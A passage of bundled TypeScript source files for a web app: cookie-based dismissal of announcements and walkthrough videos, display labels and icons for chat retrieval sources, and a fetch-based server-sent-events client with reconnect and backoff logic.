match = document.cookie\n    .split('; ')\n    .find((row) => row.startsWith(`${name}=`));\n  if (!match) return undefined;\n  try {\n    return decodeURIComponent(match.slice(name.length + 1));\n  } catch {\n    return undefined;\n  }\n}\n\n/** Persist a dismissal (cookie only, 1 year). */\nexport function writeDismissCookie(name: string, id: string): void {\n  if (typeof document === 'undefined') return;\n  document.cookie = `${name}=${encodeURIComponent(id)}; path=/; max-age=${DISMISS_COOKIE_MAX_AGE_SECONDS}; SameSite=Lax`;\n}\n\n/** Clear a dismissal (test/story helper). */\nexport function clearDismissCookie(name: string): void {\n  if (typeof document === 'undefined') return;\n  document.cookie = `${name}=; path=/; max-age=0`;\n}\n","/**\n * Announcement dismissal store.\n *\n * The dismissal COOKIE is the single source of truth: the hub's root layout\n * reads it server-side to decide whether to SSR-seed the bar (no flash for\n * dismissed users), and the client reads it via `isAnnouncementDismissed`.\n * One cookie per platform holding the LAST dismissed announcement id —\n * dismissal is an id-match, never mere cookie presence, so a new announcement\n * always shows after an old one was dismissed, and re-activating an old\n * announcement intentionally re-shows it.\n *\n * The legacy per-id localStorage key (`<platform>-announcement-<id>-dismissed`)\n * is READ-ONLY legacy: consulted only when no cookie exists for the platform,\n * purely as the migration trigger (the bar's mount effect backfills the\n * cookie). New dismissals write the cookie only, so the second store dies out.\n *\n * No `\"use client\"` directive on purpose — `announcementDismissCookieName` and\n * `isDismissedCookieValue` are pure/isomorphic and imported by the hub's\n * server layout; the DOM-touching helpers guard on `typeof document`.\n */\n\nimport { isDismissedCookieValue, readDismissCookie, writeDismissCookie, clearDismissCookie } from './dismiss-cookie'\n\n/** Cookie name for a platform's dismissed-announcement id — the ONE home for\n *  the encoding, shared by the client writer and the hub's SSR reader. */\nexport function announcementDismissCookieName(platform: string): string {\n  return `${platform}-announcement-dismissed`\n}\n\n/** THE dismissal match rule (id-match, not presence), shared across the\n *  server/client boundary. `undefined` id (no active announcement) → false. */\n// The match rule + cookie IO live in `utils/dismiss-cookie.ts` — shared with\n// every other dismissible surface. Re-exported so existing importers (incl. the\n// hub's SSR layout) keep their import path.\nexport { isDismissedCookieValue } from './dismiss-cookie'\n\nconst legacyDismissKey = (platform: string, id: string) =>\n  `${platform}-announcement-${id}-dismissed`\n\n/** Persist a dismissal: cookie only (1 year). The SSR layout sees it on the\n *  next request; localStorage is intentionally NOT written (read-only legacy). */\nexport function dismissAnnouncement(platform: string, id: string): void {\n  if (typeof document === 'undefined') return\n  writeDismissCookie(announcementDismissCookieName(platform), id)\n}\n\n/**\n * Client-side dismissal check — cookie-first: the legacy localStorage key is\n * consulted ONLY when no cookie exists for the platform. Reads browser\n * storage, so callers must invoke it from effects, never during render\n * (a render-time read would desync hydration from the SSR HTML).\n */\nexport function isAnnouncementDismissed(platform: string, id: string): boolean {\n  if (typeof document === 'undefined') return false\n  const cookieValue = readDismissCookie(announcementDismissCookieName(platform))\n  if (cookieValue !== undefined) return isDismissedCookieValue(cookieValue, id)\n  try {\n    return localStorage.getItem(legacyDismissKey(platform, id)) !== null\n  } catch {\n    return false\n  }\n}\n\n/** Remove ALL dismissal state for a platform (cookie + legacy localStorage\n *  keys) — test/story helper so callers never restate the key encoding. */\nexport function clearAnnouncementDismissals(platform: string): void {\n  if (typeof document === 'undefined') return\n  clearDismissCookie(announcementDismissCookieName(platform))\n  try {\n    const prefix = `${platform}-announcement-`\n    Object.keys(localStorage).forEach((key) => {\n      if (key.startsWith(prefix) && key.endsWith('-dismissed')) {\n        localStorage.removeItem(key)\n      }\n    })\n  } catch {\n    // ignore storage errors\n  }\n}\n\n/** One-time cleanup of pre-refactor storage: the orphaned announcement cache\n *  (the old \"instant paint\" blob) — called from the bar's mount effect. */\nexport function clearLegacyAnnouncementCache(platform: string): void {\n  if (typeof window === 'undefined') return\n  try {\n    localStorage.removeItem(`${platform}-announcement-cache`)\n  } catch {\n    // ignore storage errors\n  }\n}\n","/**\n * Walkthrough-video dismissal — a thin key-naming layer over the shared\n * dismissal-cookie primitives (`utils/dismiss-cookie.ts`). Same id-match\n * semantics as the announcement bar, from the same implementation.\n */\n\nimport {\n  isDismissedCookieValue,\n  readDismissCookie,\n  writeDismissCookie,\n  clearDismissCookie,\n} from './dismiss-cookie';\n\n/** Cookie-name stem. */\nexport const WALKTHROUGH_VIDEO_DISMISS_KEY = 'walkthrough-video-dismissed';\n\n/** THE per-platform cookie name — the ONE home for the encoding. Shaped exactly\n *  like `announcementDismissCookieName` (`<platform>-<name>-dismissed`): `:` is\n *  not a `token` character under RFC 6265, so the old `…-dismissed:<platform>`\n *  form was only working on browser leniency. Hosts must not rebuild this\n *  inline, or an SSR reader added later will restate the separator.\n *\n *  Renaming orphans existing cookies, so anyone who had dismissed the card sees\n *  it once more. Deliberate and one-time: the alternative is reading both names\n *  forever to save a single re-dismissal. */\nexport function walkthroughDismissCookieName(platform: string): string {\n  return `${platform}-${WALKTHROUGH_VIDEO_DISMISS_KEY}`;\n}\n\n/** Client-side dismissal check (id-match). Reads a cookie, so call it from an\n *  effect, never during render. */\nexport function isWalkthroughDismissed(key: string, id: string | undefined): boolean {\n  return isDismissedCookieValue(readDismissCookie(key), id);\n}\n\n/** Persist a dismissal for this video id. */\nexport function dismissWalkthrough(key: string, id: string): void {\n  writeDismissCookie(key, id);\n}\n\n/** Clear a platform key's dismissal (test/story helper). */\nexport function clearWalkthroughDismissal(key: string): void {\n  clearDismissCookie(key);\n}\n","/**\n * Walkthrough-video deep link — the ONE home for the query param that opens\n * the floating walkthrough widget's theater full-screen (paused) on page\n * load. Consumed by the widget itself (`FloatingWalkthroughVideo` defaults\n * its `deepLinkParam` prop to this) and by hosts that MINT deep-link URLs\n * (invitation emails) or carry the param across redirects (the hub's\n * auth-wall proxy). Lives beside `dismissal-storage.ts` — the same\n * widget-adjacent naming-layer altitude.\n */\n\n/** `?walkthrough=1` — presence-based on the read side (any value counts);\n *  `=1` is just the canonical value URL minters write. */\nexport const WALKTHROUGH_OPEN_QUERY_PARAM = 'walkthrough';\n\n/** Append the theater deep-link param to a URL (absolute or relative). */\nexport function withWalkthroughOpenParam(url: string): string {\n  return `${url}${url.includes('?') ? '&' : '?'}${WALKTHROUGH_OPEN_QUERY_PARAM}=1`;\n}\n","/**\n * Per-source icon-name + label lookup. Keyed by `RagTableConfig.id` (the same\n * id used in `chat_source_rag_tables.rag_table_id` and on each\n * `ChatRef.sourceRepo`).\n *\n * Server-safe — lives in `src/utils/` (no `'use client'` banner) so\n * hub server-side rag-mappers + chat route handlers can call\n * `getSourceLabel()` / `getSourceIconName()` directly. The client-side\n * chat barrel re-exports from here for ergonomic client imports.\n *\n * Used by SOURCE-LEVEL chip surfaces:\n *   - The chip strip below an assistant message.\n *   - The tracking-row source glyph on inline entity cards.\n *\n * Why a small map here instead of a column on RAG_TABLE_CONFIGS:\n *   - The icon NAME is a small string; the resolver (icon-name → React\n *     component) lives in `src/components/chat/utils/icon-registry.ts`\n *     where it can stay client-only. Server-side consumers stay\n *     icon-component-free.\n *   - The mapping is intrinsic to the TABLE, not per-platform — same\n *     entry serves every (platform, source) binding.\n *\n * Per-table admin-UI bucket id (`SOURCE_CATEGORIES_BY_TABLE`) stays\n * hub-side because it depends on the hub's `RagSourceCategoryId` enum.\n */\n\n/** Map RagTableConfig.id → icon_name (resolvable via `getIconComponent`). */\nexport const SOURCE_ICON_NAMES: Record<string, string> = {\n  // Doc tables\n  'openframe-docs':              'openframe',\n  'data-room-docs':              'shield',\n\n  // CMS / programs\n  'blog-posts':                  'newspaper',\n  'product-releases':            'rocket',\n  'case-studies':                'briefcase',\n  'onboarding-guides':           'graduation-cap',\n  webinars:                      'video',\n  events:                        'calendar',\n  podcasts:                      'headphones',\n  'customer-interviews':         'users',\n\n  // Financials\n  'investor-updates':            'mail',\n  'financial-kpis':              'activity',\n  'financial-cap-table':         'table',\n  'financial-pnl':               'trending-up',\n  'financial-balance-sheet':     'dollar-sign',\n  'financial-cash-flow':         'banknote',\n\n  // ClickUp\n  'clickup-roadmap':             'clickup',\n  'clickup-delivery':            'clickup',\n  'clickup-tasks-internal':      'clickup',\n\n  // GitHub\n  'github-commits':              'github',\n  'github-pull-requests':        'github',\n  'github-pr-reviews':           'github',\n  'github-commits-public':       'github',\n  'github-pull-requests-public': 'github',\n  'github-pr-reviews-public':    'github',\n\n  // HubSpot\n  'hubspot-tickets':             'hubspot',\n  'hubspot-tickets-anon':        'hubspot',\n  'hubspot-tickets-self':        'hubspot',\n\n  // Communications\n  'slack-messages':              'slack',\n}\n\n/** Lookup an icon name by RagTableConfig.id. Returns undefined when\n *  unknown so callers can decide whether to fall back to documentType\n *  or to the generic FileText glyph in the icon registry. */\nexport function getSourceIconName(tableId: string | null | undefined): string | undefined {\n  if (!tableId) return undefined\n  return SOURCE_ICON_NAMES[tableId]\n}\n\n/**\n * Per-table display LABEL — used by SERVER-SIDE chip-strip rendering\n * (the row's \"Customer Interviews (8 records)\" chip below an assistant\n * message).\n *\n * The chip GRID + autocomplete DROPDOWN read their command label\n * from the DB (per-source `chat_admin_slash_commands.label`) — those\n * surfaces can carry per-source labels (e.g. \"OpenFrame Commits\" vs\n * \"GitHub Commits\" for the same table). This map is the TABLE-LEVEL\n * label used by sub-message chips where a SINGLE label per table is\n * sufficient regardless of which source's chat is rendering.\n */\nexport const SOURCE_LABELS_BY_TABLE: Record<string, string> = {\n  // Doc tables\n  'openframe-docs':              'OpenFrame Docs',\n  'data-room-docs':              'Data Room',\n\n  // CMS / programs\n  'blog-posts':                  'Blog Posts',\n  'product-releases':            'Product Releases',\n  'case-studies':                'Case Studies',\n  'onboarding-guides':           'Onboarding Guides',\n  webinars:                      'Webinars',\n  events:                        'Events',\n  podcasts:                      'Podcasts',\n  'customer-interviews':         'Customer Interviews',\n\n  // Financials\n  'investor-updates':            'Investor Updates',\n  'financial-kpis':              'Financial KPIs',\n  'financial-cap-table':         'Cap Table',\n  'financial-pnl':               'Profit & Loss',\n  'financial-balance-sheet':     'Balance Sheet',\n  'financial-cash-flow':         'Cash Flow',\n\n  // ClickUp\n  'clickup-roadmap':             'ClickUp Roadmap',\n  'clickup-delivery':            'ClickUp Delivery',\n  'clickup-tasks-internal':      'ClickUp Tasks',\n\n  // GitHub\n  'github-commits':              'GitHub Commits',\n  'github-pull-requests':        'GitHub Pull Requests',\n  'github-pr-reviews':           'GitHub PR Reviews',\n  'github-commits-public':       'OpenFrame Commits',\n  'github-pull-requests-public': 'OpenFrame Pull Requests',\n  'github-pr-reviews-public':    'OpenFrame PR Reviews',\n\n  // HubSpot\n  'hubspot-tickets':             'HubSpot Tickets',\n  // Anon + self share the \"Tickets\" root so the chip vocabulary is\n  // uniform across logged-out (everyone's resolved support tickets,\n  // anonymized → \"Tickets\") and logged-in (user-scoped → \"My Tickets\")\n  // surfaces. The full-PII `hubspot-tickets` entry above is product-hub\n  // internal only (admin view), kept as \"HubSpot Tickets\" to flag the\n  // distinct scope.\n  'hubspot-tickets-anon':        'Tickets',\n  'hubspot-tickets-self':        'My Tickets',\n\n  // Communications\n  'slack-messages':              'OpenMSP Community',\n}\n\n/** Lookup a human-readable label by RagTableConfig.id. Falls back\n *  to the raw id (chip text becomes the table slug — visible bug\n *  that prompts an entry to land in `SOURCE_LABELS_BY_TABLE`). */\nexport function getSourceLabel(tableId: string): string {\n  return SOURCE_LABELS_BY_TABLE[tableId] ?? tableId\n}\n\n/**\n * Default `documentType → RagTableConfig.id` reverse map.\n *\n * Mirrors the canonical lookup the hub registers via\n * `lib/config/rag-table-config.ts:tableIdForDocumentType()` — same vocabulary\n * the LLM emits inside `[card://<type>:<id>]` markers, same tableIds the\n * retrieval layer routes by, and same set of keys covered by\n * `SOURCE_ICON_NAMES` / `SOURCE_LABELS_BY_TABLE` above.\n *\n * Server-safe (no `'use client'` banner), keyed by string for forward\n * compatibility — adding a new RAG table is a single-line edit here so\n * lib-based embedders pick it up without re-publishing.\n *\n * Embedders that need a CUSTOM mapping (e.g. polymorphic types whose\n * tableId depends on per-tenant config) still pass their own\n * `tableIdForDocumentType` callback to `useEmbeddedChat`; this default\n * only applies when no callback is supplied.\n *\n * Inverse mapping audited 2026-05-24 against the hub registry — every\n * entry in `RAG_TABLE_CONFIGS` with a `documentType` is represented.\n */\nexport const DEFAULT_DOCUMENT_TYPE_TO_TABLE_ID: Record<string, string> = {\n  // Doc tables\n  markdown:                       'openframe-docs',\n  data_room_doc:                  'data-room-docs',\n\n  // CMS / programs\n  blog_post:                      'blog-posts',\n  product_release:                'product-releases',\n  case_study:                     'case-studies',\n  onboarding_guide:               'onboarding-guides',\n  webinar:                        'webinars',\n  event:                          'events',\n  podcast:                        'podcasts',\n  customer_interview:             'customer-interviews',\n\n  // Financials\n  investor_update:                'investor-updates',\n  financial_kpi:                  'financial-kpis',\n  cap_table:                      'financial-cap-table',\n  profit_loss:                    'financial-pnl',\n  balance_sheet:                  'financial-balance-sheet',\n  cash_flow:                      'financial-cash-flow',\n\n  // ClickUp\n  roadmap_item:                   'clickup-roadmap',\n  delivery_item:                  'clickup-delivery',\n  internal_task:                  'clickup-tasks-internal',\n\n  // GitHub\n  github_commit:                  'github-commits',\n  github_pull_request:            'github-pull-requests',\n  github_pr_review:               'github-pr-reviews',\n  github_commit_public:           'github-commits-public',\n  github_pull_request_public:     'github-pull-requests-public',\n  github_pr_review_public:        'github-pr-reviews-public',\n\n  // HubSpot\n  hubspot_ticket:                 'hubspot-tickets',\n  hubspot_ticket_anon:            'hubspot-tickets-anon',\n  hubspot_ticket_self:            'hubspot-tickets-self',\n\n  // Communications\n  slack_message:                  'slack-messages',\n}\n\n/**\n * Default `tableIdForDocumentType` resolver used by `useEmbeddedChat` when\n * the caller didn't pass an explicit callback. Returns `null` for\n * unrecognized document types so downstream `discussRef` / `displayRef`\n * still short-circuits gracefully on stale or custom types.\n */\nexport function defaultTableIdForDocumentType(documentType: string): string | null {\n  return DEFAULT_DOCUMENT_TYPE_TO_TABLE_ID[documentType] ?? null\n}\n","/**\n * Fetch-based SSE subscription primitive.\n *\n * Why not `EventSource`: cross-origin embedders authenticate via the\n * `embedAuthedFetch` adapter's HEADERS (OpenFrame bearer), which\n * `EventSource` cannot carry. This reads `response.body` from a normal\n * authed fetch and parses standard `event:`/`data:` frames.\n *\n * Lifecycle (never-terminating by design):\n *   - Infinite reconnects with capped exponential backoff (~30s max +\n *     jitter), reset on a successful open. Do NOT copy the terminating\n *     `maxRetries → exhausted` model of the hub's server-side\n *     `RealtimeRetryManager` — a long outage must self-heal when the\n *     backend returns, because there is NO polling fallback behind this.\n *   - Liveness by silence: the server keepalives every ~15s; any bytes\n *     (INCLUDING `: keepalive` comment lines — they reset the timer\n *     before frame parsing drops them) count as life. Silence beyond\n *     `silenceTimeoutMs` (default 45s = 3× keepalive) aborts + reconnects.\n *   - Terminal responses (NO retry): any 4xx except 408/429 — the\n *     `x-block-layer` header, when readable, is logged for attribution\n *     only, never used as a retry gate (proxies may strip it); and\n *     204 → a distinct `no-stream` status (the caller decides when to\n *     try again). Backoff-retry is for transport errors, 408/429, and 5xx.\n *\n * THE common SSE client for lib + hosts — exported from the `utils`\n * barrel. Consumers: `TicketLiveProvider` (lib) and the hub's\n * workflow/invocation stream hooks (which replaced the hub's old\n * EventSource-based `sse-client.ts`). Finite streams (workflows,\n * invocations) end with a terminal event and a server-side close —\n * their handlers MUST call `close()` on the terminal event, or the\n * never-terminating reconnect loop re-opens the finished stream.\n */\n\nimport { embedAuthedFetch } from './embed-authed-fetch'\n\n/** Transport-level status. `suspended` = paused by `pauseWhenHidden`\n *  after the hidden grace elapsed (resumes automatically on visible). */\nexport type SseTransportStatus =\n  | 'connecting'\n  | 'open'\n  | 'reconnecting'\n  | 'no-stream'\n  | 'terminal'\n  | 'suspended'\n  | 'closed'\n\nexport interface SseSubscriptionOptions {\n  url: string\n  /** Defaults to `embedAuthedFetch` (adapter headers + credentials). */\n  fetchImpl?: (url: string, init?: RequestInit) => Promise<Response>\n  /** Called per parsed frame: `eventName` from `event:` (default\n   *  'message'), `data` JSON-parsed when possible (raw string otherwise).\n   *  Server `status` frames are ALSO forwarded here (after the client's\n   *  own lifecycle handling) for consumers that render health detail. */\n  onEvent: (eventName: string, data: unknown) => void\n  onStatusChange?: (status: SseTransportStatus) => void\n  /**\n   * Consolidated liveness signal — true only when the SERVER confirmed\n   * its Realtime subscription (`status: subscribed` frame), never merely\n   * \"HTTP open\". THE CLIENT owns the whole lifecycle policy:\n   *   - transport open without `subscribed` within 15s → hard reconnect;\n   *   - server `retrying` → connected=false, give the server 90s to\n   *     recover before a client hard reconnect;\n   *   - server `reconnect_failed` → connected=false, hard reconnect at\n   *     the capped 30s delay (no stampedes);\n   *   - any transport drop → connected=false (reconnect via backoff).\n   * Fired only on transitions.\n   */\n  onConnectedChange?: (connected: boolean) => void\n  /**\n   * Pause the subscription while the tab is hidden (45s grace so\n   * Cmd-Tab thrash doesn't churn connections), resume + reconnect on\n   * visible, and reconnect on `online`. OPT-IN — short-lived streams\n   * (workflow/invocation monitors) must keep running in background\n   * tabs. Long-lived per-user streams should enable it (scale relief:\n   * a hidden tab holds no server invocation).\n   */\n  pauseWhenHidden?: boolean\n  /** Silence threshold before the connection is presumed dead. MUST be\n   *  ≥2.5× the server keepalive cadence or jitter causes false-disconnect\n   *  churn (each one costs a full server invocation). */\n  silenceTimeoutMs?: number\n  maxBackoffMs?: number\n  initialBackoffMs?: number\n}\n\nexport interface SseSubscription {\n  /** Permanently stop — no further reconnects, no callbacks. */\n  close: () => void\n  /** Drop the current connection (if any) and reconnect immediately,\n   *  resetting backoff. No-op after `close()`. */\n  reconnectNow: () => void\n}\n\nconst DEFAULT_SILENCE_TIMEOUT_MS = 45_000\nconst DEFAULT_MAX_BACKOFF_MS = 30_000\nconst DEFAULT_INITIAL_BACKOFF_MS = 1_000\n/** No server `subscribed` frame within this window after transport-open\n *  → the subscription is presumed dead behind a live HTTP stream. */\nconst SUBSCRIBE_CONFIRM_TIMEOUT_MS = 15_000\n/** Server `retrying` = it is recovering its own Realtime channel\n *  (exponential backoff, ~5 attempts). Grace before the client gives up\n *  waiting and hard-reconnects. */\nconst SERVER_RETRY_GRACE_MS = 90_000\n/** After a server `reconnect_failed`, the next client attempt starts at\n *  this capped delay — each reconnect costs a full server invocation +\n *  the server's own Realtime retries; an outage must not stampede. */\nconst FAILED_RECONNECT_DELAY_MS = 30_000\n/** Grace before a hidden tab's subscription is suspended. */\nconst HIDDEN_GRACE_MS = 45_000\n\nexport function createSseSubscription(options: SseSubscriptionOptions): SseSubscription {\n  const {\n    url,\n    fetchImpl = embedAuthedFetch,\n    onEvent,\n    onStatusChange,\n    onConnectedChange,\n    pauseWhenHidden = false,\n    silenceTimeoutMs = DEFAULT_SILENCE_TIMEOUT_MS,\n    maxBackoffMs = DEFAULT_MAX_BACKOFF_MS,\n    initialBackoffMs = DEFAULT_INITIAL_BACKOFF_MS,\n  } = options\n\n  let closed = false\n  let suspended = false\n  let attempt = 0\n  /** Connection generation — bumped by each connect() and by\n   *  reconnectNow(). A stale loop (aborted, still unwinding) compares\n   *  its captured generation before scheduling a reconnect, so an\n   *  explicit reconnect can never race a zombie loop into two\n   *  concurrent connections. */\n  let generation = 0\n  let abortController: AbortController | null = null\n  let retryTimerId: ReturnType<typeof setTimeout> | null = null\n  let silenceTimerId: ReturnType<typeof setTimeout> | null = null\n  // Lifecycle timers — the client owns the WHOLE connected-state policy.\n  let confirmTimerId: ReturnType<typeof setTimeout> | null = null\n  let serverGraceTimerId: ReturnType<typeof setTimeout> | null = null\n  let failedDelayTimerId: ReturnType<typeof setTimeout> | null = null\n  let hiddenGraceTimerId: ReturnType<typeof setTimeout> | null = null\n\n  let connected = false\n  const setConnected = (next: boolean) => {\n    if (connected === next) return\n    connected = next\n    try {\n      onConnectedChange?.(next)\n    } catch (err) {\n      console.error('[sse-subscription] onConnectedChange threw:', err)\n    }\n  }\n\n  const clearLifecycleTimer = (id: ReturnType<typeof setTimeout> | null) => {\n    if (id) clearTimeout(id)\n    return null\n  }\n\n  const setStatus = (status: SseTransportStatus) => {\n    if (closed && status !== 'closed') return\n    // ANY transport transition means the server subscription is not\n    // (or not yet) confirmed — `subscribed` frames re-assert true.\n    setConnected(false)\n    serverGraceTimerId = clearLifecycleTimer(serverGraceTimerId)\n    if (status !== 'open') {\n      confirmTimerId = clearLifecycleTimer(confirmTimerId)\n    }\n    onStatusChange?.(status)\n  }\n\n  /** Hard reconnect, optionally delayed — used by the lifecycle policy\n   *  (confirm timeout / server give-up / failed-reconnect pacing). */\n  const internalReconnect = (delayMs: number) => {\n    failedDelayTimerId = clearLifecycleTimer(failedDelayTimerId)\n    if (delayMs <= 0) {\n      doReconnect()\n      return\n    }\n    failedDelayTimerId = setTimeout(() => {\n      failedDelayTimerId = null\n      doReconnect()\n    }, delayMs)\n  }\n\n  /** Interpret server `status` frames — the server-side Realtime\n   *  subscription health channel emitted by the hub's SSE engine. */\n  const handleServerStatus = (data: unknown) => {\n    const status = (data as { status?: string } | null)?.status\n    if (status === 'subscribed') {\n      confirmTimerId = clearLifecycleTimer(confirmTimerId)\n      serverGraceTimerId = clearLifecycleTimer(serverGraceTimerId)\n      setConnected(true)\n      return\n    }\n    if (status === 'retrying') {\n      // Server is recovering its own channel — wait (bounded) before a\n      // client hard reconnect stampedes it. Disarm the subscribe-confirm\n      // timer: a pre-`subscribed` retry would otherwise fire the 15s hard\n      // reconnect and the grace window would never apply.\n      confirmTimerId = clearLifecycleTimer(confirmTimerId)\n      setConnected(false)\n      if (!serverGraceTimerId) {\n        serverGraceTimerId = setTimeout(() => {\n          serverGraceTimerId = null\n          doReconnect()\n        }, SERVER_RETRY_GRACE_MS)\n      }\n      return\n    }\n    if (status === 'reconnect_failed') {\n      // Same disarm as `retrying` — a still-armed confirm timer would\n      // preempt the deliberate 30s failed-reconnect delay.\n      confirmTimerId = clearLifecycleTimer(confirmTimerId)\n      setConnected(false)\n      serverGraceTimerId = clearLifecycleTimer(serverGraceTimerId)\n      internalReconnect(FAILED_RECONNECT_DELAY_MS)\n    }\n  }\n\n  const clearTimers = () => {\n    if (retryTimerId) {\n      clearTimeout(retryTimerId)\n      retryTimerId = null\n    }\n    if (silenceTimerId) {\n      clearTimeout(silenceTimerId)\n      silenceTimerId = null\n    }\n    confirmTimerId = clearLifecycleTimer(confirmTimerId)\n    serverGraceTimerId = clearLifecycleTimer(serverGraceTimerId)\n    failedDelayTimerId = clearLifecycleTimer(failedDelayTimerId)\n    hiddenGraceTimerId = clearLifecycleTimer(hiddenGraceTimerId)\n  }\n\n  const armSilenceTimer = () => {\n    if (silenceTimerId) clearTimeout(silenceTimerId)\n    silenceTimerId = setTimeout(() => {\n      // Dead-air: the read loop is stuck on a connection that will never\n      // produce again. Abort → the loop's catch schedules a reconnect.\n      abortController?.abort()\n    }, silenceTimeoutMs)\n  }\n\n  const scheduleReconnect = () => {\n    if (closed || suspended || retryTimerId) return\n    setStatus('reconnecting')\n    const backoff = Math.min(maxBackoffMs, initialBackoffMs * 2 ** attempt)\n    const jitter = backoff * 0.25 * Math.random()\n    attempt += 1\n    retryTimerId = setTimeout(() => {\n      retryTimerId = null\n      void connect()\n    }, backoff + jitter)\n  }\n\n  const parseFrame = (rawFrame: string) => {\n    let eventName = 'message'\n    const dataLines: string[] = []\n    for (const line of rawFrame.split('\\n')) {\n      if (line.startsWith(':')) continue // comment (keepalive) — liveness only\n      if (line.startsWith('event:')) {\n        eventName = line.slice(6).trim() || 'message'\n      } else if (line.startsWith('data:')) {\n        dataLines.push(line.slice(5).trimStart())\n      }\n    }\n    if (dataLines.length === 0) return\n    const rawData = dataLines.join('\\n')\n    let data: unknown = rawData\n    try {\n      data = JSON.parse(rawData)\n    } catch {\n      // Non-JSON data frame — deliver the raw string.\n    }\n    // Lifecycle FIRST (server `status` frames drive `connected`), then\n    // forward every frame — status included — to the domain handler.\n    if (eventName === 'status') {\n      handleServerStatus(data)\n    }\n    try {\n      onEvent(eventName, data)\n    } catch (err) {\n      console.error('[sse-subscription] onEvent handler threw:', err)\n    }\n  }\n\n  const connect = async (): Promise<void> => {\n    if (closed || suspended) return\n    const gen = ++generation\n    setStatus('connecting')\n    abortController = new AbortController()\n\n    let response: Response\n    try {\n      response = await fetchImpl(url, {\n        method: 'GET',\n        // Explicit Accept — embedAuthedFetch otherwise injects\n        // `Content-Type: application/json` defaults meant for POSTs.\n        headers: { Accept: 'text/event-stream' },\n        signal: abortController.signal,\n      })\n    } catch {\n      // Network error / abort — transport-level, retryable.\n      if (!closed && gen === generation) scheduleReconnect()\n      return\n    }\n    if (closed || gen !== generation) return\n\n    if (response.status === 204) {\n      // Contract: nothing to stream for this identity. Caller decides\n      // when to try again — no retry loop here.\n      setStatus('no-stream')\n      return\n    }\n    if (!response.ok) {\n      const retryable = response.status === 408 || response.status === 429 || response.status >= 500\n      if (retryable) {\n        scheduleReconnect()\n        return\n      }\n      // Terminal 4xx. x-block-layer (proxy surface block) is logged for\n      // attribution when readable — never gates the decision.\n      const blockLayer = response.headers.get('x-block-layer')\n      console.warn(\n        `[sse-subscription] terminal ${response.status} for ${url}${blockLayer ? ` (x-block-layer: ${blockLayer})` : ''} — not retrying`,\n      )\n      setStatus('terminal')\n      return\n    }\n    if (!response.body) {\n      scheduleReconnect()\n      return\n    }\n\n    // Successful open — reset backoff, start liveness accounting.\n    attempt = 0\n    setStatus('open')\n    armSilenceTimer()\n    // Transport open ≠ connected: require the server's `subscribed`\n    // status frame within the confirm window, else the subscription is\n    // presumed dead behind a live HTTP stream → hard reconnect.\n    confirmTimerId = clearLifecycleTimer(confirmTimerId)\n    confirmTimerId = setTimeout(() => {\n      confirmTimerId = null\n      if (!connected) doReconnect()\n    }, SUBSCRIBE_CONFIRM_TIMEOUT_MS)\n\n    const reader = response.body.getReader()\n    const decoder = new TextDecoder()\n    let buffer = ''\n    try {\n      for (;;) {\n        const { done, value } = await reader.read()\n        if (closed || gen !== generation) return\n        if (done) break\n        // ANY bytes are liveness — including comment keepalives, which\n        // the frame parser below will drop.\n        armSilenceTimer()\n        buffer += decoder.decode(value, { stream: true })\n        // SSE line terminators may be CRLF, LF, or bare CR per spec.\n        // Normalize to LF before boundary scanning — a CRLF stream would\n        // otherwise never match '\\n\\n' and frames would pile up unparsed.\n        // A trailing CR is held back one iteration: it may be the first\n        // half of a CRLF split across reads (normalization is idempotent\n        // on the already-normalized remainder).\n        let pendingCr = ''\n        if (buffer.endsWith('\\r')) {\n          pendingCr = '\\r'\n          buffer = buffer.slice(0, -1)\n        }\n        buffer = buffer.replace(/\\r\\n/g, '\\n').replace(/\\r/g, '\\n')\n        // Frames are separated by a blank line (\\n\\n).\n        for (;;) {\n          const boundary = buffer.indexOf('\\n\\n')\n          if (boundary === -1) break\n          const rawFrame = buffer.slice(0, boundary)\n          buffer = buffer.slice(boundary + 2)\n          parseFrame(rawFrame)\n        }\n        buffer += pendingCr\n      }\n    } catch {\n      // Aborted (silence timer / reconnectNow) or stream error — fall\n      // through to reconnect.\n    } finally {\n      if (silenceTimerId) {\n        clearTimeout(silenceTimerId)\n        silenceTimerId = null\n      }\n      try {\n        reader.releaseLock()\n      } catch {\n        // Already released.\n      }\n    }\n\n    // Server closed the stream (e.g. Vercel maxDuration) — reconnect.\n    if (!closed && gen === generation) scheduleReconnect()\n  }\n\n  /** Hard reconnect core — invalidate the current loop BEFORE aborting\n   *  so its unwinding never schedules a competing (backoff) reconnect. */\n  function doReconnect() {\n    if (closed || suspended) return\n    generation += 1\n    clearTimers()\n    attempt = 0\n    abortController?.abort()\n    void connect()\n  }\n\n  // ---- pauseWhenHidden: suspend/resume with the tab, reconnect on\n  // network return. Registered here (not in callers) — this is client\n  // lifecycle policy, not domain logic.\n  const suspend = () => {\n    if (closed || suspended) return\n    suspended = true\n    generation += 1\n    clearTimers()\n    abortController?.abort()\n    setStatus('suspended')\n  }\n  const onVisibilityChange = () => {\n    if (document.visibilityState === 'hidden') {\n      if (!hiddenGraceTimerId) {\n        hiddenGraceTimerId = setTimeout(() => {\n          hiddenGraceTimerId = null\n          // Scale relief: a hidden tab holds no server invocation.\n          suspend()\n        }, HIDDEN_GRACE_MS)\n      }\n      return\n    }\n    // Visible again — cancel the grace, or resume if already suspended\n    // (the fresh connect re-delivers server-pushed state).\n    hiddenGraceTimerId = clearLifecycleTimer(hiddenGraceTimerId)\n    if (suspended) {\n      suspended = false\n      void connect()\n    }\n  }\n  const onOnline = () => {\n    if (!suspended) doReconnect()\n  }\n  const listenersActive =\n    pauseWhenHidden && typeof document !== 'undefined' && typeof window !== 'undefined'\n  if (listenersActive) {\n    document.addEventListener('visibilitychange', onVisibilityChange)\n    window.addEventListener('online', onOnline)\n  }\n\n  void connect()\n\n  return {\n    close: () => {\n      if (closed) return\n      closed = true\n      generation += 1\n      clearTimers()\n      abortController?.abort()\n      if (listenersActive) {\n        document.removeEventListener('visibilitychange', onVisibilityChange)\n        window.removeEventListener('online', onOnline)\n      }\n      setConnected(false)\n      onStatusChange?.('closed')\n    },\n    reconnectNow: () => {\n      if (closed) return\n      suspended = false\n      doReconnect()\n    },\n  }\n}\n","'use client'\n\n/**\n * Shared decoder for the `decision_resolved` leading frame the\n * `confirm-tool` route emits as the first chunk of its SSE response.\n *\n * Wire format (matches `use-embedded-chat.ts:270-394`):\n *   - Frames are JSON objects separated by `\\0` (NUL).\n *   - `\\x1E` (record separator) marks the transition from leading\n *     metadata frames into the text body (chat path).\n *   - For the tickets-UI path, the request body carries `messages: []`\n *     which makes phase-2 (text body) structurally unreachable —\n *     `confirm-tool/route.ts:569` skips the `runDocsChat` call. So the\n *     stream contains exactly ONE frame 